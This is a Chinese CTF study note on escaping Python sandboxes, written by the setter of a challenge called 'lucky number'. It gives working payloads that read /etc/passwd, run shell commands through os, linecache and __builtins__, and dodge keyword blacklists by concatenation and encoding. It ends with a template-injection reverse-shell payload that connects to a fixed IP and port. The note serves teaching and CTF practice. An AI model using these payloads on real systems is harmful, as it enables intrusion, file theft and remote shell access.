python沙箱逃逸学习笔记
MakerCTF上我写的一道题,叫幸运数字,做的状况不太好……其实当时没打算出难,应该是因为提示给的不到位2333,也算是总结经验了。但平时web题还是以PHP为主,可能很多同学对这方面的了解不是太多,在这里稍微做点总结,希望可以帮到大家。
题目链接: https://github.com/yonghumingzi/lucky_number
0x01基础知识:
我们看到wp里有形如“[].__class__.__base__.__subclasses__()[40](’./flag/flag.txt’, ‘r’).read()”的payload,那么就来研究一下这些属性或方法的含义。
我们知道python中一切皆对象,就连类实际上也可被称为对象。现在来列举一些:
1.__class__
返回一个实例所属的类
2.__dict__
返回一个对象所有的属性和方法
3.__base__和__bases__
__base__返回一个类所继承的上一个类,__bases__存的是一个类所继承的除object以外的所有基类,返回值是一个元组。测试代码:
class ex1:
pass
class ex2(ex1):
pass
class ex3(ex1, ex2):
pass
ins1 = ex2()
ins2 = ex3()
print ins1.__class__.__bases__
print ins2.__class__.__bases__
得到:
(<class __main__.ex1 at 0x0000000005758A08>,)
(<class __main__.ex1 at 0x0000000005758A08>, <class __main__.ex2 at 0x0000000005758AC8>)
有趣的是,python2里如果不在定义类时加上(object),则不会继承object类,而在python3里,object类会默认继承object类。
4.__mro__
与__base__和__bases__类似,不过__mro__得到的是一个完整的继承链条,返回一个元组。
class ex(object):
pass
print ex.__mro__
#Output: (<class '__main__.ex'>, <type 'object'>)
5.__subclasses__()
是一个内置方法,获取一个类所有的子类,返回值是一个列表。
6.__globals__、func_globals
函数或方法的属性,获得其作用域的名称空间,即所有的全局变量、方法和模块,返回值是字典。两者指向的是相同的,不过func_globals在python3里废弃了。
7.__builtins__和__builtin__、builtins
python里有一个很重要的概念,叫名称空间,所谓名称空间,就是python名称到对象的映射关系,可以表现为一个字典。python中变量名其实都是对对象的引用,可以说python里变量名和对象是分离的,变量名就好比指针。对引用有所疑惑的可以看这篇文章。理解好引用对下面内容的理解很有帮助。
python运行时,至少会有两个名称空间,一个是内建名称空间,一个是由全局变量映射组成的全局名称空间,还可以有自己定义的局部名称空间,就是在函数内部的局部映射。那么什么是内建名称空间呢?
python启动时,解释器(descriptor)会向内存中导入许多内建函数和方法,无需我们导入就可以之间使用。而准确来说,是解释器加载了内建名称空间,内建名称空间包含着内建函数名称和内建函数本身之间的映射。以下内容借鉴于一篇51CTO博客
__builtins__里就包含了所有内建函数,而__builtin__需要导入(py3里叫builtins)
测试代码,命名为test.py
import __builtin__
print dir(__builtin__)
print dir(__builtins__)
print __builtin__ == __builtins__
print __builtin__ is __builtins__
print id(__builtin__)
print id(__builtins__)
print __builtin__.__dict__ == __builtins__
print __builtin__.__dict__ is __builtins__
print id(__builtin__.__dict__)
print id(__builtins__)
我们发现__builtins__和__builtin__完全相同,但如果我们在另一个文件里import test,则发现此时__builtins__与__builtin__相同。
简言之,在主模块里__builtins__是对__builtin__的引用,而不在主模块里则是直接对__builtin__.__dict__这个字典的引用。
在沙箱逃逸中常常会接触内置名称空间,看如果我们删除了内置函数,会有怎样的效果:
所以有时python环境会通过这样的方式去过掉一些危险函数:
for black in black_list:
del builtins.dict[black]
但如果没有过滤reload,就能通过reload(__builtins__)来恢复。但导入__builtin__后是没用的,因为__builtins__是对__builtin__的引用,它们的地址空间是一致的,删除了一个自然会影响到另一个。
所以想要过滤全,也需将内置函数reload过滤。
8.__getattribute__和__getattr__
__getattribute__会在一个实例访问属性的时候自动被调用
__getattr__会在找不到相应属性时被调用。
测试,代码改自一篇文章:
class C(object):
a = 'abc'
def __getattribute__(self, *args, **kwargs):
print "__getattribute__() is called"
return object.__getattribute__(self, *args, **kwargs)
def __getattr__(self, name):
print "__getattr__() is called"
return name + " from getattr"
def foo(self):
print 'hello'
if __name__ == '__main__':
c = C()
print c.a
print c.zzzzzzzzz
c.foo()
c.__getattribute__("foo")()
输出:
__getattribute__() is called
abc
__getattribute__() is called
__getattr__() is called
zzzzzzzzz from getattr
__getattribute__() is called
hello
__getattribute__() is called
__getattribute__() is called
hello
实际上我们使用ex.xxx时,调用的是ex.__getattribute(‘xxx’),测试代码中直接调用__getattribute__时,也触发了自己。
所以在沙箱逃逸中,我们可以使用__getattrbute__调用想要调用的内置魔术方法,像这样:
__init__.__getattribute__(’__globals__’)
但如果__globals__被过滤了呢?那也好说,拼接一下就行了:
__init__.__getattribute__(’__global’+‘s__’)
9.__import__
内置方法,用于动态载入模块。也可用于绕过,像这样:
0x02逃逸姿势小结(以下内容主要基于python2.7.13):
1.文件读写
有了上面的基础知识,我们就知道,对一个序列调用__class__属性,会得到“序列”类,再对这个类使用__base__,会得到这个类继承的python元类:object,再使用__subclasses__()就能得到元类的所有子类,再从中找到想要的类。
print [].__class__
print [].__class__.__base__
print [].__class__.__base__.__subclasses__()
print [].__class__.__base__.__subclasses__()[40]
测试完成后,我们发现序号40的是一个文件类:“<type ‘file’>”
那么我们可以使用文件类来读和写,像这样:
[].__class__.__base__.__subclasses__()[40]('/etc/passwd', 'r').read()
[].__class__.__base__.__subclasses__()[40]('/tmp/test', 'w').write('...')
2.命令执行
当我们导出元类object类后,对于它下面的子类,我们可以利用它的构造方法“__init__”的“__globals__”属性找到它作用域下的模块,可能就有模块包含os、eval之类的方法。下面的脚本改自bendawang的文章
items = [].__class__.__base__.__subclasses__()
cnt=0
for item in items:
try:
if 'os' in item.__init__.__globals__:
print cnt, item
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue
这样就能找到作用域里含os映射的类。
于是通过os进行命令执行:
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].__dict__['system']('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].__getattribute__('system')('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__globals__')['os'].system('ls')
其实也不一定一定用os,还有很多其他的思路:
(1)linecache:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
其中序号59的类init方法中包含了对linecache的映射。
(2)__builtins__配合内置函数,如eval,map,file,execfile等:
"".__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
"".__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['__builtins__']['map'](__import__('os').system, ['ls'])
"".__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['__builtins__']['file']('/etc/password').read()
(3)甚至直接自定义一个函数,引出__builtins__:
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")
3.小技巧:
(1)拼接绕过
最简单的,比如过滤了’os’,像上面通过__globals__、__getattribute__或__dict__以字符串形式从字典引出的话,即可通过__globals__[‘o’+‘s’]绕过
(2)编码绕过
比如还是过滤了’os’,‘os’的base64编码是’b3M=’,可以这样:__globals__[‘b3M=’.decode(‘base64’)]。还可以__globals__[‘bf’.decode(‘rot13’)]
(3)循环,通过循环定位需要的类,因为python版本等原因有时不确定所需类的序号,通过这样的方式可找出:
[x for x in [].__class__.__base__.__subclasses__() if ‘warning’ in x.__name__][0].__init__.__globals__[‘os’].system(‘ls’)
经过探究发现了一个神奇的事实,python3里object的子类竟然是随机的,所以无法像python2那样找到特定的__subclasses__()序号。我们只能去固定可以命令执行的类,再加以利用。像这些类是可以用来命令执行的:<class ‘subprocess.Popen’>、<class ‘warnings.WarningMessage’>、<class ‘warnings.catch_warnings’>等。
0x03攻破幸运数字:
幸运数字一题本意只是希望读到flag,并不希望命令执行。不过fish师傅后来研究发现题目是可以命令执行的,也是怪自己当时了解还不全面,这次学习了。
幸运数字过滤了这些:
black_list = ['import', 'eval', 'exec', 'assert', '__dict__', '__globals__', '__init__', '__builtin__', '__builtins__', '__call__', 'reload', 'write','execfile', 'system', 'popen', 'decode', 'encode']
不过里面的__globals__可以用func_globals代替,__dict__可用__getattribute__绕过,‘os’、'system’等可用拼接来绕,而__init__也可用其他姿势绕过。
常规办法:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
绕过姿势:
[].__class__.__base__.__subclasses__()[59]()._module.linecache.__getattribute__('o'+'s').__getattribute__('sys'+'tem')('l'+'s')
利用了catch_warnings()函数下的_module属性,全用__getattribute__,毕竟没有过滤__getattribute__嘛~(其实如果没过滤__builtins__也可以考虑用它):
[].__class__.__base__.__subclasses__()[59]().__getattribute__('_module').__getattribute__('linecache').__getattribute__('o'+'s').__getattribute__('sys'+'tem')('l'+'s')
效果:
服务端回显:
反弹shell的payload:
{{[].__class__.__base__.__subclasses__()[59]().__getattribute__('_module').__getattribute__('linecache').__getattribute__('o'+'s').__getattribute__('sys'+'tem')("python -c 'i"+"mport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.86.129\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")}}
成功反弹shell:
参考文章:
https://xz.aliyun.com/t/2308
http://blog.51cto.com/xpleaf/1764849
https://draapho.github.io/2016/11/21/1618-python-variable/
https://www.cnblogs.com/saolv/p/6890645.html
http://blog.isis.poly.edu/ctf/exploitation techniques/2012/10/26/escaping-python-sandboxes/
http://bendawang.site/2018/03/01/关于Python-sec的一些总结/
https://zolmeister.com/2013/05/escaping-python-sandbox.html
https://blog.csdn.net/qq_35078631/article/details/78504415
https://www.cnblogs.com/jasonzeng888/p/6477752.html